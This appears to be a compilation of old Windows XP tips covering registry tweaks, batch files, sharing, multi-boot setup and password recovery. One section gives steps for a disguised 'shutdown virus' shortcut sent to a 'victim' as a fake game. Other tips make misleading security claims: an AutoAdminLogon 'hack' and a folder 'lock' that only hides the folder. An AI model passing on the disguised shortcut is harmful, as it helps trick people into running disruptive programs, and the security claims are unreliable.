5) Save the text file as unloc.bat in the same drive. --------- Usage: --------- 6) To lock the caclub folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible. 7) To unlock the folder click the unloc.bat file. Thus the folder will be unlocked and the contents are accessible.
First, Click Start > Run > and type “regedit” to run Registry Editor. Note: editing the registry may damage your system, please make a backup from your registry
To remove recent play list in history: To remove recent files go to address: HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentFileList To remove recent URLs go to address: HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentURLList And delete play lists
To disable Upgrade message: Go to following address: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\PlayerUpgrade Create a new String Value and name “AskMeAgain” and give value of NO
To hide anchor window: When you are in skin mode, Windows Media Player displays Anchor window To hide anchor window, go to address: HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer Create a new DWORD and name “DoNotShowAnchor” and give value of 1
To change title name: Go to : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer Create a new SRTING and type your name.
To lock applied skin: Go to : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer Create a new String with name of Default Skin for example 9SeriesDefault.wmz Create a new DWORD and name “SetAndLockSkin” and give value of 1.
To enable DVD features: Go to HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings Create a new String and name “EnableDVDUI” and give value of YES.
To remove WMP features: Go to : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer Create a new DWORD and give value of 1 and name according to below Media Favorite = NoMediaFavorite Find New Station = NoFindNewStation Radio Bar = NoRadiaBar
Fooling with the recycle bin. Why not make the icon context menu act like other icon context menus. Add rename to the menu: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder "Attributes"=hex:50,01,00,20 Add delete to the menu: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder "Attributes"=hex:60,01,00,20 Add rename and delete to the menu: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E} \ShellFolder "Attributes"=hex:70,01,00,20 Restore the recycle bin to Windows defaults including un-deleting the icon after deletion: Restore the icon. HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\ Windows \CurrentVersion\ explorer\ Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} @="Recycle Bin" Reset Windows defaults. HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E} \ShellFolder "Attributes"=hex:40,01,00,20 Other edits to the recycle bin icon: HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder "Attributes"=hex:40,01,01,20 ... standard shortcut arrow "Attributes"=hex:40,01,02,20 ... a different shortcut arrow "Attributes"=hex:40,01,04,20 ... and still another shortcut arrow "Attributes"=hex:40,01,08,20 ... make it look disabled (like it's been cut)
For Windows XP and 2000 also edit HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ CLSID\ {645FF040-5081-101B-9F08-00AA002F954E} For Windows ME also edit HKEY_CURRENT_USER \Software\ Classes\ CLSID\ {645FF040-5081-101B-9F08-00AA002F954E}
In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc. To disable this: 1.Open RegEdit 2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D 3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section 4.Delete the entire section. Now when you click on My Computer, nothing will happen. You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.
Easy and fun trick with your notepad. Lets try, now open a blank notepad file:
Write .LOG as the first line of the file and press enter.
Save your notepad file name and close it.
Double-click again your notepad file to open notepad and opinion added that the date and time at the end of the file..WOOT !! And place the cursor on the next line.
Enter your notes and then save and close the file.
Every time you open the notepad file, Notepad repeat the process, adding the date and time automatically at the end of the roster and placing the cursor below.
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account. REGEDIT 4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "AutoAdminLogon"="1"
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text"
Does Your comp take a hell lot of time to start??Well, if the Answer is Yes then this is gonna really help you.Here I Will Tell You How To Speed Up Your Boot Process of Windows Xp.
1.Open Notepad and then copy/paste the following code in it : Quote Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters] EnablePrefetcher?=dword:00000003 2.Then save the notepad file with any name but make sure to rename its extension .REG , Finally double click on the file and then click Yes .
If you want personal chat with a friend you don't need to download any yahoo messenger All you need is your friends IP address and Command Prompt. Firstly, open Notepad and enter: @echo off :A Cls echo MESSENGER set /p n=User: set /p m=Message: net send %n% %m% Pause Goto A Now save this as "Messenger.bat". Open the .bat file and in Command Prompt you should see: MESSENGER User: After "User" type the IP address of the computer you want to contact. After this, you should see this: Message: Now type in the message you wish to send.Before you press "Enter" it should look like this: MESSENGER User:27.196.391.193 Message: Hi Now all you need to do is press "Enter", and start chatting!
1)Right click on the folder 2)Then in the general tab click advanced (near read only option) 3)In that click encrypt contents to secure data. 4)This can happen if u run windows Xp and you have Ntfs file system on that particular drive and an administrative account.
Ok this is a........ Well it's not really a virus of a hack because it doesn't damage anything. But that aside what it will do is shutdown the victim’s computer, this can be put in MSN convos so it is VERY fun to have, and it can also be put in emails and such like things.
1) Right click on desk top, and then go New, then Shortcut.
2) Then in the "type location of the item" you want to type: %windir%\system32\shutdown.exe -s -t 120 -c "This is a virus"
You can change "this is a virus" to anything you would like that’s just the message that will appear. The 120 you typed in can also be change at will, this is simply the amount of time they receive in till there computer will shutdown. Once the code has been entered as you have seen above click next.
My advice would be to rename it something like.... wicked game. Depends on the victim’s age and sex. But make sure you call it something good or the victim won't bother clicking on it. After you have given it a name click on finish. You should now have an icon on your desktop that is called "wicked game" or whatever name you gave it. It is also advised you change the icon to something different.
3) Change name and icon.
4) Now to send it to some one you need to make a compressed file. This can be done by right clicking on the desktop, New, Compressed file (zipped) Then another folder should appear on your desktop click on this and drag your shutdown virus into the zipped folder.
5) Once your shutdown virus is in your compressed folder rename it. Make sure to give it a similar name as to the file inside it like "Great Game.zip" Don’t forget to add the .zip at the end.
WARNING! Make sure when you rename the compressed folder to add .zip at the end it is very important.
Now feel free to send it to anyone you...... dislike greatly.
As a safe guard I will tell you how to stop the shutdown count down. Just encase you ever click it your self LOL Ok go to start, run, type cmd, then in cmd type: shutdown -a
2- inside this folder make a ( TXT ) file & copy inside it this:
Quote: cls @ECHO OFF title Folder Private if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Private goto MDLOCKER :CONFIRM echo Are you sure you want to lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to unlock folder set/p "pass=>" if NOT %pass%== password here goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Private echo Private created successfully goto End :End 3- after u copy the Commanding go to line ( 23 ) u will find this word : password here (Change it with ) any password u like.
4- After that make ‘save as’ & name as (locker.bat )
5- Now back to the folder & u will find a ( LOCKER ) commanding.
6- Click on it & u will find a new folder (Private )
7- Ok ,, now copy what u want in it & after that go to ( locker ) by click on it , it will open and ask you want lock your folder? Y/N ?
8- Type Y
9- If you want UNLOCK your folder ,go to (locker) & type your pass and you will see your private folder.
1.Go to start->run.Type regedit.Now go to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives (it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) . Now restart your Computer. So, now when you click on My Computer, no drives will be shown(all gone...).
To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your Computer.You can now see all the drives again. Magic.......
CTRL + A Select all text on a webpage CTRL + B Open the Bookmarks sidebar CTRL + C Copy the selected text to the Windows clipboard CTRL + D Bookmark the current webpage CTRL + F Find text within the current webpage CTRL + G Find more text within the same webpage CTRL + H Opens the webpage History sidebar CTRL + I Open the Bookmarks sidebar CTRL + J Opens the Download Dialogue Box CTRL + K Places the cursor in the Web Search box ready to type your search CTRL + L Places the cursor into the URL box ready to type a website address CTRL + M Opens your mail program (if you have one) to create a new email message CTRL + N Opens a new Firefox window CTRL + O Open a local file CTRL + P Print the current webpage CTRL + R Reloads the current webpage CTRL + S Save the current webpage on your PC CTRL + T Opens a new Firefox Tab CTRL + U View the page source of the current webpage CTRL + V Paste the contents of the Windows clipboard CTRL + W Closes the current Firefox Tab or Window (if more than one tab is open) CTRL + X Cut the selected text CTRL + Z Undo the last action Windows Keyboard Shortcuts for Mozilla Firefox F1 Opens Firefox help F3 Find more text within the same webpage F5 Reload the current webpage F6 Toggles the cursor between the address/URL input box and the current webpage F7 Toggles Caret Browsing on and off. Used to be able to select text on a webpage with the keyboard F11 Switch to Full Screen mode
To share a file or folder with your fellow computer users, move the file into your Shared Documents folder, which lives in your My Computer window. (You must move or copy a file into the Shared Documents folder; shortcuts don't always work.)
After you place your file or folder into your Shared Documents folder, it appears in the Shared Documents folder of everybody else using your computer.
Administrators can share folders without having to move them into the Shared Documents folder. The trick is to follow these steps:
1. Right-click on a folder you'd like to share and choose Sharing and Security from the pop-up menu.
Open My Computer and right-click on the folder you'd like to share. When the menu appears, select Sharing and Security. A window appears, showing the Properties for that folder. It opens to the Sharing tab.
Right-click on a folder and choose Sharing and Security to share the folder on the network.
2. Click the box marked Share This Folder on the Network.
A check mark in that box lets everybody peek at, grab, steal, change, or delete any of the files in that folder. To let visitors look inside the files but not change them, remove the check mark from the box marked Allow Network Users to Change My Files.
3. Click OK.
Now that particular folder and all its contents are available for everybody on the network to share.
Sharing a lot of folders isn't a good idea because it gives network visitors too much control over your computer. Even if you trust people, they might accidentally mess something up. To be safe, only share files by placing them in the Shared Document folder.
Inside Shared Documents live two more folders, Shared Music and Shared Pictures. Those two folders are also available to any user. So, if you want to share documents with any user of your computer, store them in the Shared Documents folder. When you make MP3s from your CDs, store them in the Shared Music folder, too, so that everybody can enjoy them.
After you've installed Windows XP Professional, you can configure common settings, including user accounts and network connections.
If you already have a user account, log on to your computer with that account name and password. If you don't have a user account, you must first log on as the administrator to create one.
Log On as the Administrator Until you set up a user account on your computer, you need to log on as the Administrator. For security reasons, you should create a user account for yourself and a user account for each person who may be using the computer.
After you complete Setup, your computer restarts and the “Log On to Windows” dialog box appears.
To log on as the Administrator
In “Log On to Windows,” type Administrator and the password you assigned to the administrator during Setup.
Click OK.
If a message appears informing you that the system could not log you on, verify that CAPS LOCK is not turned on, and then retype your password.
IMPORTANT Running Windows XP as an administrator makes the system vulnerable to unnecessary security risks. Instead, use your user account to perform routine tasks such as running programs, working on documents, and visiting Internet sites.
You must address file system compatibility to ensure a multi-booting configuration with these earlier operating systems and Windows XP. Remember to install the latest operating system last, otherwise important files may be overwritten.
Checklist Summary
To configure a computer containing Windows XP and Windows 9x or MS-DOS, review the following guidelines:
On computers that contain MS-DOS and Windows XP:
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MS-DOS must be installed on a basic disk on a partition formatted with FAT. If MS-DOS is not installed on the system partition, which is almost always the first partition on the disk, the system partition must also be formatted with FAT. *
Windows XP must be installed last. Otherwise important files needed for starting Windows XP could be overwritten.
On computers that contain Windows 95 and Windows XP:
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As in the case above, Windows 95 must be installed on a basic disk on a partition formatted with FAT. (For Windows 95 OSR2, FAT32 may be used.) If Windows 95 is not installed on the system partition, which is almost always the first partition on the disk, the system partition must also be formatted with FAT (or FAT32 for Windows 95 OSR2). *
Compressed DriveSpace or DoubleSpace volumes won’t be available while you are running Windows XP. It is not necessary to uncompress DriveSpace or DoubleSpace volumes that you will access only with Windows 95. *
Windows XP must be installed last. Otherwise important files needed for starting Windows XP could be overwritten.
On computers that contain Windows 98 (or Windows Me) and Windows XP:
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As in the cases above, Windows 98 or Windows Me must be installed on a basic disk on a partition formatted with FAT or FAT32. If Windows 98 or Windows Me is not installed on the system partition, which is almost always the first partition on the disk, the system partition must also be formatted with FAT or FAT32. *
Compressed DriveSpace or DoubleSpace volumes won’t be available while you are running Windows XP. It is not necessary to uncompress DriveSpace or DoubleSpace volumes that you will access only with Windows 98. *
Windows XP must be installed last. Otherwise important files needed for starting Windows XP could be overwritten.
Setting up a computer to run Windows XP as well as an earlier operating system such as Windows NT Workstation 4.0 requires addressing compatibility issues among different file systems: NTFS, FAT, and FAT32.
Normally, NTFS is the recommended file system because it supports important features, including the Active Directory™ service and domain-based security. However, using NTFS as the only file system on a computer that contains both Windows XP and Windows NT is not recommended. On these computers, a FAT or FAT32 partition containing the Windows NT 4.0 operating system ensures that when started with Windows NT 4.0, the computer will have access to needed files. In addition, if Windows NT is not installed on the system partition, which is almost always the first partition on the disk, the system partition should also be formatted with FAT.
Windows NT 4.0 cannot access files that have been stored using NTFS features that did not exist when Windows NT 4.0 was released. For example, a file that uses the new NTFS encryption feature won’t be readable when the computer is started with Windows NT 4.0 Workstation, which was released before the encryption feature existed.
Note: If you set up a computer so that it starts with Windows NT 3.51 or earlier on a FAT partition, and Windows XP on an NTFS partition, when that computer starts with Windows NT 3.51, the NTFS partition will not be visible.
Checklist Summary To configure a computer containing Windows NT 4.0 and Windows XP, review the following guidelines:
As explained above, using NTFS as the only file system on a computer containing both Windows XP and Windows NT is not recommended.
Make sure that Windows NT 4.0 has been updated with the latest released Service Pack available for download before installing Windows XP.
Install each operating system on a separate drive or disk partition.
When you perform a new installation of Windows XP (as opposed to an upgrade), by default, the installation is placed on a partition on which no other operating system is located. You can specify a partition during Setup.
Don’t install Windows XP on a compressed drive unless the drive was compressed with the NTFS file system compression feature.
On any partition where you perform a new installation of Windows XP (as opposed to an upgrade), you will need to re-install any programs, such as word processing or email software, after Setup is complete.
Install the programs used by each operating system on the partition with that system. If you want your programs to run with multiple operating systems, you need to install separate copies of the programs in each of the operating system partitions.
If the computer is on a Windows NT Server or Windows 2000 Server domain, each installation of Windows XP on that computer must have a different computer name.
One of the coolest new features in Windows XP is its album thumbnail generator, which automatically places the appropriate album cover art on the folder to which you are copying music (generally in WMA format). But what about those people that have already copied their CDs to the hard drive using MP3 format? You can download album cover art from sites such as cdnow.com or amguide.com, and then use the new Windows XP folder customize feature to display the proper image for each folder. But this takes time you have to manually edit the folder properties for every single folder and you will lose customizations if you have to reinstall the OS. There's an excellent fix, however.
When you download the album cover art from the Web, just save the images as folder.jpg each time and place them in the appropriate folder. Then, Windows XP will automatically use that image as the thumbnail for that folder and, best of all, will use that image in Windows Media Player for Windows XP (MPXP) if you choose to display album cover art instead of a visualization. And the folder customization is automatic, so it survives an OS reinstallation as well. Your music folders never looked so good!
Album cover art makes music folder thumbnails look better than ever!
In Windows 2000, Microsoft added the ability to right-click the My Documents folder and choose a new location for that folder in the shell. With Windows XP, Microsoft has elevated the My Music and My Pictures folders to the same "special shell folder" status of My Documents, but they never added a similar (and simple) method for changing those folder's locations. However, it is actually pretty easy to change the location of these folders, using the following method.
Open a My Computer window and navigate to the location where you'd like My Music (or My Pictures) to reside. Then, open the My Documents folder in a different window. Drag the My Music (or My Pictures) folder to the other window, and Windows XP will update all of the references to that folder to the new location, including the Start menu.
For some reason, Microsoft has removed the ability to specify which Windows components you want to install during interactive Setup, and when you go into Add/Remove Windows Components in the Control Panel, you still don't have the full list of applications and applets you can add and remove. Thankfully, this is easy to fix.
To dramatically expand the list of applications you can remove from Windows XP after installation, navigate to C:\WINDOWS\inf (substituting the correct drive letter for your version of Windows) and open the sysoc.inf file. Under Windows XP Professional Edition RC1, this file will resemble the following by default:
The entries that include the text hide or HIDE will not show up in Add/Remove Windows Components by default. To fix this, do a global search and replace for ,hide and change each instance of this to , (a comma). Then, save the file, relaunch Add/Remove Windows Components, and tweak the installed applications to your heart's content.
I don't recommend this but In Windows XP, Windows Messenger will be the hub of your connection to the .NET world, and now that this feature is part of Windows, I think we're going to see a lot of .NET Passport-enabled Web sites appearing as well. But if you can't stand the little app, there are a couple of ways to get rid of it, and ensure that it doesn't pop up every time you boot into XP. The best way simply utilizes the previous tip:
If you'd like Windows Messenger to show up in the list of programs you can add and remove from Windows, navigate to C:\WINDOWS\inf (substituting the correct drive letter for your version of Windows) and open sysoc.inf (see the previous tip for more information about this file). You'll see a line that reads:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
Change this to the following and Windows Messenger will appear in Add or Remove Programs, then Add/Remove Windows Components, then , and you can remove it for good:
Like many other audio players, Windows Media Player rushes out to the Internet to find information for you when you play a CD. Some of this information, such as song titles and album art, is useful, but Media Player also identifies your copy of Media Player to the site where it's getting data. Why? According to the help file, "The server uses this unique identifier to monitor your connection. By monitoring your connection, the server can make adjustments to increase the playback quality and to alert you about events that occur when receiving streams over the Internet."
If you're disturbed by this exchange of information, here's how to stop it. In Windows Media Player, click Tools > Options and go to the Player tab. Notice the option that says "Allow Internet sites to uniquely identify your player?" Turn it off.
Take preventive measures against losing user-level passwords.
It doesn't matter if you never again remember a Windows user password. Thanks to XP's Forgotten Password Wizard, your conscience will be free and clear -- should your mind happen to accidentally misplace your user password.
I highly suggest you create a password recovery disk the minute you create your user account. Why? In order to create a password recovery disk you're going to need your password. Write it down the minute you create your user account and then proceed to creating your very own password recovery disk.
Here's how to launch the Forgotten Password Wizard:
Single-click Start menu, Control Panel, and User Accounts. Click your user account name. Under Related Tasks on the left, click "Prevent forgotten password" to launch the wizard.
Now that you've launched the wizard, let it walk you through creating the recovery disk. Make sure the disk you use is formatted and in the drive. After it's finished creating the disk, label it and stash it away for an emergency.
If you happen to forget your password, all you need to do is click your user icon at the logon screen. Even though you don't have your password, go ahead and click the green arrow just like you would to finish logging on to your computer. This will launch a little yellow dialog box directing you to use your password recovery disk.
